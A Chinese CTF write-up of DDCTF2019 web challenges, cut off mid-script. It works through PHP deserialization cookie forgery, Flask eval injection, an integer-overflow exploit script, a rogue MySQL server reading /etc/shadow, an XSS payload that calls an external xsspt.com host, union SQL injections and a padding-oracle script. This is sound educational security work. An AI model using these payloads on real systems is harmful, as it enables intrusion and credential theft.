本文首发于先知论坛 https://xz.aliyun.com/t/4887
DDCTF2019 刚刚结束的ddctf2019,题目质量还是不错的,当然脑洞也不小,也有出题人不谨慎而导致非预期解,下面也会提及。共计23题,完成17题,Android一道没做,re、misc、web都差最后一题,待其他大神发writeup了。
WEB 滴~ 访问自动跳转到 http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 ,页面上显示flag.jpg 对TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
分析可知为base64_encode(base64_encode('flag.jpg'.encode('hex'))
文件包含泄露源码:http://117.51.150.246/index.php?jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
,index.php
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8' ); if (! isset ($_GET['jpg' ])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09' ); $file = hex2bin(base64_decode(base64_decode($_GET['jpg' ]))); echo '<title>' .$_GET['jpg' ].'</title>' ;$file = preg_replace("/[^a-zA-Z0-9.]+/" ,"" , $file); echo $file.'</br>' ;$file = str_replace("config" ,"!" , $file); echo $file.'</br>' ;$txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," .$txt."'></img>" ;?>
代码除了文件包含外,并没有什么漏洞,源码上博客内容是关于shell下echo的一些特殊用法,对于php中的echo并不适用。作者另外一篇博客 vim 异常退出 swp文件提示 提到了.practice.txt.swp
访问 http://117.51.150.246/practice.txt.swp
得到新的提示f1ag!ddctf.php
。
文件包含f1ag!ddctf.php
,根据index.php
的源代码,我们需要用config
替换!
http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include ('config.php' );$k = 'hello' ; extract($_GET); if (isset ($uid)){ $content=trim(file_get_contents($k)); if ($uid==$content) { echo $flag; } else { echo 'hello' ; } } ?>
存在一个明显的变量覆盖漏洞,覆盖$k
为空,同时将$uid
也置为空即可。
Web签到题 打开 http://117.51.158.44/index.php 后,提示抱歉,您没有登陆权限,请获取权限后访问-----
,查看一下源代码,发现有auth()
1 2 3 4 5 6 7 8 9 <script type ="text/javascript" src ="js/jquery.min.js" > </script > <script type ="text/javascript" src ="js/index.js" > </script > <script > hljs.initHighlightingOnLoad(); </script > <body onload ="auth()" > <div class ='center' id ="auth" > </div > </body >
此函数在http://117.51.158.44/js/index.js
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function auth ( ) { $.ajax({ type: "post" , url:"http://117.51.158.44/app/Auth.php" , contentType: "application/json;charset=utf-8" , dataType: "json" , beforeSend: function (XMLHttpRequest ) { XMLHttpRequest.setRequestHeader("didictf_username" , "" ); }, success: function (getdata ) { console .log(getdata); if (getdata.data !== '' ) { document .getElementById('auth' ).innerHTML = getdata.data; } },error :function (error ) { console .log(error); } }); }
burp抓包发现http包请求确实有个didictf_username
字段,修改为didictf_username: admin
后成功验证,提示访问app/fL2XID2i0Cdh.php
http://117.51.158.44/app/fL2XID2i0Cdh.php 中内容如下:
url:app/Application.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 Class Application { var $path = '' ; public function response ($data, $errMsg = 'success' ) { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json' ); echo $ret; } public function auth () { $DIDICTF_ADMIN = 'admin' ; if (!empty ($_SERVER['HTTP_DIDICTF_USERNAME' ]) && $_SERVER['HTTP_DIDICTF_USERNAME' ] == $DIDICTF_ADMIN) { $this ->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php' ); return TRUE ; }else { $this ->response('抱歉,您没有登陆权限,请获取权限后访问-----' ,'error' ); exit (); } } private function sanitizepath ($path) { $path = trim($path); $path=str_replace('../' ,'' ,$path); $path=str_replace('..\\' ,'' ,$path); return $path; } public function __destruct () { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath($this ->path); if (strlen($path) !== 18 ) { exit (); } $this ->response($data=file_get_contents($path),'Congratulations' ); } exit (); } }
url:app/Session.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 include 'Application.php' ;class Session extends Application { var $eancrykey = '' ; var $cookie_expiration = 7200 ; var $cookie_name = 'ddctf_id' ; var $cookie_path = '' ; var $cookie_domain = '' ; var $cookie_secure = FALSE ; var $activity = "DiDiCTF" ; public function index () { if (parent ::auth()) { $this ->get_key(); if ($this ->session_read()) { $data = 'DiDI Welcome you %s' ; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT' ]); parent ::response($data,'sucess' ); }else { $this ->session_create(); $data = 'DiDI Welcome you' ; parent ::response($data,'sucess' ); } } } private function get_key () { $this ->eancrykey = file_get_contents('../config/key.txt' ); } public function session_read () { if (empty ($_COOKIE)) { return FALSE ; } $session = $_COOKIE[$this ->cookie_name]; if (!isset ($session)) { parent ::response("session not found" ,'error' ); return FALSE ; } $hash = substr($session,strlen($session)-32 ); $session = substr($session,0 ,strlen($session)-32 ); if ($hash !== md5($this ->eancrykey.$session)) { parent ::response("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize($session); if (!is_array($session) OR !isset ($session['session_id' ]) OR !isset ($session['ip_address' ]) OR !isset ($session['user_agent' ])){ return FALSE ; } if (!empty ($_POST["nickname" ])) { $arr = array ($_POST["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent ::response($data,"Welcome" ); } if ($session['ip_address' ] != $_SERVER['REMOTE_ADDR' ]) { parent ::response('the ip addree not match' .'error' ); return FALSE ; } if ($session['user_agent' ] != $_SERVER['HTTP_USER_AGENT' ]) { parent ::response('the user agent not match' ,'error' ); return FALSE ; } return TRUE ; } private function session_create () { $sessionid = '' ; while (strlen($sessionid) < 32 ) { $sessionid .= mt_rand(0 ,mt_getrandmax()); } $userdata = array ( 'session_id' => md5(uniqid($sessionid,TRUE )), 'ip_address' => $_SERVER['REMOTE_ADDR' ], 'user_agent' => $_SERVER['HTTP_USER_AGENT' ], 'user_data' => '' , ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this ->eancrykey.$cookiedata); $expire = $this ->cookie_expiration + time(); setcookie( $this ->cookie_name, $cookiedata, $expire, $this ->cookie_path, $this ->cookie_domain, $this ->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();
首先留意到class Application
中有一个读取文件的地方
1 2 3 4 5 6 7 8 9 10 11 12 public function __destruct () { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath($this ->path); if (strlen($path) !== 18 ) { exit (); } $this ->response($data=file_get_contents($path),'Congratulations' ); } exit (); }
路径要求18位,而../config/flag.txt
刚好18位满足要求,基本可以确定flag的位置,sanitizepath
会将../
替换为空,可直接双写绕过过滤....//config/flag.txt
。
然后在class Session
中session_read()
有反序列化的代码,只要触发反序列化就能到读取文件的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 $session = $_COOKIE[$this ->cookie_name]; if (!isset ($session)) { parent ::response("session not found" ,'error' ); return FALSE ; } $hash = substr($session,strlen($session)-32 ); $session = substr($session,0 ,strlen($session)-32 ); if ($hash !== md5($this ->eancrykey.$session)) { parent ::response("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize($session);
其中cookie_name
为ddctf_id
,代码会对session内容进行校验,校验方法为最后32位的hash值,要等于md5($this->eancrykey.$session)
,绕过验证需要泄露$this->eancrykey
的值
留意到session_read()
中有一段格式化字符的代码
1 2 3 4 5 6 7 8 if (!empty ($_POST["nickname" ])) { $arr = array ($_POST["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent ::response($data,"Welcome" ); }
这里for循环会对$data
进行两次格式化字符串操作,其中nickname
我们可控,若nickname=%s
,第二次格式化字符串就能把$this->eancrykey
泄露出来。
至此,伪造session的信息收集完毕,可以伪造session进行文件读取,代码如下。
1 2 3 4 5 6 7 8 9 10 11 <?php Class Application { var $path = '....//config/flag.txt' ; } $a = new Application(); $key = 'EzblrbNS' ; $cookie_name = 'ddctf_id' ; $hash = md5($key.serialize($a)); echo serialize($a).$hash;?>
将代码生成的payload URL编码后发送
1 2 3 POST /app/Session.php HTTP/1.1 didictf_username: admin cookie: ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525
发送后得到:{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}
Upload-IMG 1 2 3 4 http://117.51.148.166/upload.php user:dd@ctf pass:DD@ctf#000
登录后直接上传一张图片,提示未包含phpinfo()
将图片下载下来,winhex打开看了一下,发现文件头有gd-jpeg
搜索一下发现GD库图片渲染存在漏洞,https://wiki.ioin.in/soft/detail/1q
jpg_name.jpg
是待GD处理的图片
1 php jpg_payload.php <jpg_name.jpg>
如提示缺少gd库,可用apt install php-gd
安装
网上不少文章提到不一定每张图片都可以成功写入,需要多试几张,而我脸比较黑,试了十多张无果。
绝望之际,拿了群里大佬发的一个表情包,终于成功了,泪目。。。
homebrew event loop http://116.85.48.107:5002/d5afe1f66147e857/
题目是一个flask站,并且提供了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5afe1f66147e857' def FLAG () : return 'FLAG_is_here_but_i_wont_show_you' def trigger_event (event) : session['log' ].append(event) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type(event) == type([]): request.event_queue += event else : request.event_queue.append(event) def get_mid_str (haystack, prefix, postfix=None) : haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException : pass def execute_event_loop () : valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len(request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval(action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp @app.route(url_prefix+'/') def entry_point () : querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len(querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() def view_handler (args) : page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />' .format(session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset' : del session['num_items' ] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler (args) : bool_show_source = str(args[0 ]) bool_download_source = str(args[1 ]) if bool_show_source == 'True' : source = open('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True' : html += line.replace('&' ,'&' ).replace('\t' , ' ' *4 ).replace(' ' ,' ' ).replace('<' , '<' ).replace('>' ,'>' ).replace('\n' , '<br />' ) else : html += line source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' ) def buy_handler (args) : num_items = int(args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format(args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format(num_items), 'action:view;index' ]) def consume_point_function (args) : point_to_consume = int(args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume def show_flag_function (args) : flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args) : if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' ) if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
网址实现各种功能,是通过解析query_string
进行跳转的,具体可以查看execute_event_loop
函数代码。query_string
示例如下:
1 2 http://116.85.48.107:5002/d5afe1f66147e857/?action:buy;1 http://116.85.48.107:5002/d5afe1f66147e857/?action:view;shop
提取关键代码测试,可以看到更加直观,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def get_mid_str (haystack, prefix, postfix=None) : haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack def ACTION_handler () :pass event = 'action:ACTION;ARGS0#ARGS1#ARGS2' is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) print '[!] action:' ,actionargs = get_mid_str(event, action+';' ).split('#' ) print '[!] args:' ,argsevent_handler = eval(action + ('_handler' if is_action else '_function' )) print '[!] event_handler:' ,event_handler
运行结果:1 2 3 [!] action: ACTION [!] args: ['ARGS0', 'ARGS1', 'ARGS2'] [!] event_handler: <function ACTION_handler at 0x00000000035A4B38>
event_handler
是用eval
进行拼接,从而得到对应的处理函数,eval
函数本质是将字符串str当成有效的表达式来求值并返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意进行代码注入,不过由于ARGS
是使用#
进行分隔,而#
在python代码中是注释符,在action
中加入#
,可以把后面_handler
注释掉。上面的代码用event = 'action:str#;ARGS0#ARGS1#ARGS2'
进行测试一下:
1 2 3 [!] action: str# [!] args: ['ARGS0', 'ARGS1', 'ARGS2'] [!] event_handler: <type 'str'>
现在,我们可以控制event_handler
运行指定的函数,不过还有一个问题是FLAG()
函数是不带参数的,而args
为list
,直接传入action:FLAG;
将产生报错。
1 TypeError: FLAG() takes no arguments (1 given)
直接调用FLAG()
函数的方法走不通了,由于传入参数必须是list
类型,python自带的全局函数也没有可以用(如果有求告知~),那么只能考虑自带函数。自带的函数不多,不难找到trigger_event
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def trigger_event (event) : session['log' ].append(event) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type(event) == type([]): request.event_queue += event else : request.event_queue.append(event) def execute_event_loop () : valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len(request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] ...
参数event
为list
类型,execute_event_loop
按顺序处理request.event_queue
所有event
,我们可以考虑构造一套组合拳来获取flag。具体构造思路如下:
程序调用FLAG()
的地方只有一个,就是get_flag_handler()
,对应的event1=action:get_flag;
;
get_flag_handler()
会判断session['num_items']>=5
,因此需要购买5个以上的钻石,对应的event2=action:buy;5
;
传入query_string=action:trigger_event#;{event1}#{event2}
,利用#
截断,运行trigger_event([event1,event2])
此外,还有两个问题需要解决一下
show_flag_function()
把返回的FLAG注释掉了,FLAG只会加入到show_flag_function()
参数中。
buy_handler()
后会调用consume_point_function()
检查point
是否足够,不然就会回滚。
trigger_event
有一句代码session['log'].append(event)
,会把记录各种函数的调用,那么自然会把trigger_event('func:show_flag;'+FLAG())
存在放在session['log']
中。留意到execute_event_loop
是按先后顺序进行函数调用,因此buy_handler()
后并不会马上执行consume_point_function()
,如果后面紧跟是show_flag_function()
,并不会受回滚影响。由于flag存放在session中,需要解密一下cookie,flask的session问题具体可以看看p神博客,客户端 session 导致的安全问题
最终payload:
1 2 3 4 http://116.85.48.107:5002/d5afe1f66147e857/?action:trigger_event%23;action:buy;7%23action:get_flag; ERROR! All transactions have been cancelled. Go back to index.html
获取到的cookie
1 Set-Cookie: session=.eJyNjlFLwzAAhP-K5HkPbersUujLcCkM2uCsTRoRaZo5m6VZsOvmMvrfVwQFmQ--Hdzdd3cGercB0fMZ3AgQgZJmXkVRT8zqVFFpOFu-cca1MA-KQKxkog9C2UaybZidsvcyWFkBb-84LDwGeVfSOgTD5ArXLv113gWjdeVILTFqRYINOcYxGF5-2twUfemsEnDqJPU1C-aHik494ur4D5LhlrM6HBNbzjZfpN8gVyUo-H6ZBqWXFjMnVdZLPPtM7-dHBjHh45l8gfNHH6l0gT5S-vTPMWD69rXZr9sORP4E2F1j9qOEwwXM_XDJ.D5b-8w.YcblUXhGWeGzHVT6qLNwR2zCOV4; HttpOnly; Path=/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import sysimport zlibfrom hashlib import *from base64 import b64decodefrom flask.sessions import URLSafeTimedSerializer,session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload) : payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) sessions = '.eJyNjlFLwzAAhP-K5HkPbersUujLcCkM2uCsTRoRaZo5m6VZsOvmMvrfVwQFmQ--Hdzdd3cGercB0fMZ3AgQgZJmXkVRT8zqVFFpOFu-cca1MA-KQKxkog9C2UaybZidsvcyWFkBb-84LDwGeVfSOgTD5ArXLv113gWjdeVILTFqRYINOcYxGF5-2twUfemsEnDqJPU1C-aHik494ur4D5LhlrM6HBNbzjZfpN8gVyUo-H6ZBqWXFjMnVdZLPPtM7-dHBjHh45l8gfNHH6l0gT5S-vTPMWD69rXZr9sORP4E2F1j9qOEwwXM_XDJ.D5b-8w.YcblUXhGWeGzHVT6qLNwR2zCOV4' PAYLOAD = decryption(sessions.encode()) print PAYLOAD
查看session的解析结果,函数的调用过程更加一目了然了。
1 {u'points': 2, u'num_items': 1, u'log': ['action:trigger_event#;action:buy;7#action:get_flag;', ['action:buy;7', 'action:get_flag;'], ['func:consume_point;7', 'action:view;index'], 'func:show_flag;3v41_3v3nt_100p_aNd_fLASK_c0Ok1e', 'action:view;index']}
大吉大利,今晚吃鸡 http://117.51.147.155:5050/index.html
正常情况下,新注册用户余额只有100,门票需要2000,是不够钱买门票,不过可以利用整数溢出
32位系统unsigned int
范围为0~4294967295
,最大数+1
后会回绕变成0
,修改订单ticket_price=4294967296
1 GET /ctf/api/buy_ticket?ticket_price=4294967296
后面拿到源码证实了猜想,对于大于32位的数字,程序进行了截断,导致了整数溢出。
1 2 3 4 5 6 7 8 9 10 11 def num64_to_32 (num) : str_num = bin(num) if len(str_num) > 66 : return False if 34 < len(str_num) < 66 : str_64 = str_num[-32 :] result = int(str_64, 2 ) return result if len(str_num) < 34 : result = int(str_num, 2 ) return result
这时去点支付,可以0元购买入场券。进入http://117.51.147.155:5050/index.html#/main/result
后,可以输入ID和ticket移除对手。
思路是不停注册一堆新用户,拿到ticket,加入游戏,然后让玩家移除机器人,当移除id不重复的100个时,拿到flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsimport uuidimport timeimport jsondata = [] while True : try : session = requests.session() name = str(uuid.uuid4())[:10 ].replace('-' , '' ) url = base_url + "/ctf/api/register?name=%s&password=12345678" % (name) r = session.get(url) if r.json()['code' ] != 200 : continue print(r.json()) time.sleep(1 ) url = base_url + '/ctf/api/buy_ticket?ticket_price=4294967296' r = session.get(url) bill_id = r.json()['data' ][0 ]['bill_id' ] url = base_url + '/ctf/api/pay_ticket?bill_id=%s' % bill_id r = session.get(url) your_id = r.json()['data' ][0 ]['your_id' ] your_ticket = r.json()['data' ][0 ]['your_ticket' ] data.append( { 'id' : your_id, 'ticket' : your_ticket, 'session' : session } ) print('%s, %s, %s' % (len(data), your_id, your_ticket)) if len(data) > 1 : url = base_url + '/ctf/api/remove_robot?id=%s&ticket=%s' % (your_id, your_ticket) r = data[0 ]['session' ].get(url) print(r.json()) time.sleep(1 ) url = base_url + '/ctf/api/get_flag' r = data[0 ]['session' ].get(url) print(r.json()) if '大吉大利,今晚吃鸡' in r.json()['msg' ]: print(r.json()['data' ][0 ]) break except Exception as e: print(e) pass
得到flag,另外本题有非预期解,详见下一题。
1 {'code': 200, 'data': ['DDCTF{chiken_dinner_hyMCX[n47Fx)}'], 'msg': '大吉大利,今晚吃鸡'}
mysql弱口令 http://117.51.147.155:5000/index.html#/scan
部署agent.py 再进行扫描哦~
题目是一个mysql弱口令扫描器,输入主机IP及mysql端口可以进行扫描,扫描器会先连接agent.py
起的端口8123
,并且通过命令netstat -ntlp
检查主机端口开放情况,会检查是否存在mysqld
进程。以前遇到的sql题目,一般我们作为客户端,对服务端进行注入等恶意攻击,这题刚好相反,题目是一个扫描器(客户端),而我们提供一个服务端。
用mysql 读取 客户端 数据
作为关键字搜索,可以找到不少文章
MySQL LOAD DATA 读取客户端任意文件
原理是在mysql客户端连接到服务端的时候可以请求客户端的本地文件,可以通过伪造 file-transfer
请求实现任意文件读取,使用文章里面提到的工具:
https://github.com/allyshka/Rogue-MySql-Server
可以修改端口,以及修改filelist为我们想读取的文件
1 2 3 filelist = ( '/etc/shadow' , )
下载并启动agent.py
,由于扫描器会检查是否有mysqld进程,可以将python
软链接成mysqld
再启动rogue_mysql_server.py
。
1 2 ln -s /usr/bin/python mysqld mysqld rogue_mysql_server.py
在扫描器中输入伪造MySQL服务的IP和端口,注意脚本都要用root权限运行,不然会出错。首先测试了一下读取/etc/passwd
开始各种读文件的找FLAG之旅
读取/proc/self/cmdline
可以看到启动命令
1 /home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log
是flask起的web,读取/home/dc2-user/ctf_web_2/app/main/views.py
,里面有提示flag在security数据库的flag表里面:
1 # flag in mysql curl@localhost database:security table:flag
读取mysql的数据库文件/var/lib/mysql/security/flag.ibd
,flag明文存放在数据库中
1 2 3 4 5 6 # kira @ k1r4 in ~/web/ddctf [21:09:55] $ strings flag.ibd z[jx infimum supremum DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}
番外篇:读取一下/home/dc2-user/.bash_history
,发现了有趣的东西,这个服务器还有ctf_web_1
1 mv ctf.zip /home/dc2-user/ctf_web_1/web_1
猜测存在文件/home/dc2-user/ctf_web_1/web_1/main/views.py
,直接拿到了吃鸡那题的flag,这就是上面提到的非预期解。
1 2 3 4 5 6 7 8 9 10 from flask import jsonify, request,redirectfrom app import mongodbfrom app.unitis.tools import get_md5, num64_to_32from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_idimport uuidfrom urllib import unquotemydb = mongodb.db flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''
欢迎报名DDCTF http://117.51.147.2/Ze02pQYLf5gGNyMn/
提示xss,尝试把html源码x回来,payload:<script src=//xsspt.com/NyU2Mx></script>
,获取到admin.php
的html源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="refresh" content ="30" > <title > DDCTF报名列表</title > <script type ="text/javascript" src ="https://xsspt.com/js/html2canvas.js" > </script > </head > <body > <table align ="center" > <thead > <tr > <th > 姓名</th > <th > 昵称</th > <th > 备注</th > <th > 时间</th > </tr > </thead > <tbody > <tr > <td > 321 </td > <td > 3333 </td > <td > <script src ="//xsspt.com/NyU2Mx" > </script > </td > <td > 2019-04-17 02:02:46 </td > </tr > <tr > <td > <a target ="_blank" href ="index.php" > 报名</a > </td > </tr > </tbody > </table > </body > </html >
访问http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php
提示需要参数id
,添加参数后没有回显。
下午各种测试无回显,晚上进行测试发现是 ,简单测试一下
然后开始手工注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 id=-1%bf%27+union+select+1,2,3,4,group_concat(schema_name)+from+information_schema.schemata%23 information_schema,ctfdb,say ########################### id=-1%bf%27+union+select+1,2,3,4,group_concat(table_name)+from+information_schema.tables+where+table_schema=concat(char(99),char(116),char(102),char(100),char(98))%23 ctf_fhmHRPL5 ########################### id=-1%bf%27+union+select+1,2,3,4,group_concat(column_name)+from+information_schema.columns+where+table_name=concat(char(99),char(116),char(102),char(95),char(102),char(104),char(109),char(72),char(82),char(80),char(76),char(53))%23 ctf_value ########################## id=-1%bf%27+union+select+1,2,3,4,ctf_value+from+ctfdb.ctf_fhmHRPL5%23 DDCTF{GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS}
当然用sqlmap也是可以的,命令如下:
1 python sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --dbms Mysql --dbs --hex
再来1杯Java 绑定Host访问:
116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
提示1:JRMP
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/
进入网站提示:Try to become an administrator.
,留意到cookie中有token字段,在 http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info 中可以查询到解密结果为{"id":100,"roleAdmin":false}
,那么思路就是CBC字节反转,伪造token为{"id":100,"roleAdmin":true}
,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import requestsdef sxor (a,b) : return '' .join([chr(ord(x)^ord(y)) for x,y in zip(a,b)]) def pad (string,N) : l=len(string) if l!=N: return string+chr(N-l)*(N-l) def get_api (ciphertext) : req_header={'X-Forwarded-For' : '113.71.226.6' , 'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063' ,'Host' :'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023' ,'Referer' :'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home' ,'Cookie' :'token={}' .format(ciphertext.encode('base64' )[:-1 ]),} s = requests.session() rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token' , headers=req_header,timeout=2 ,verify=False ,stream=True ,allow_redirects=False ) return (rsp.content) def padding_oracle (cipher, N) : get = "" for i in xrange(1 , N + 1 ): for j in xrange(0 , 256 ): padding = sxor(get, chr(i) * (i - 1 )) c = chr(0 ) * (N - i) + chr(j) + padding + cipher payload='PadOracle:iv/cbc' + c get_api_return=get_api(payload) if "decrypt err~" not in get_api_return: get = chr(j ^ i) + get break return get token = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF' .decode('base64' ) ciphertxt = token[16 :] iv = token[:16 ] org_plaintxt = '{"id":100,"roleAdmin":false}\x04\x04\x04\x04' evil_plaintxt = '{"id":100,"roleAdmin":true}\x05\x05\x05\x05\x05' ciphertxt2 = ciphertxt[16 :] imtermediary2 = sxor(org_plaintxt[16 :],ciphertxt[:16 ]) 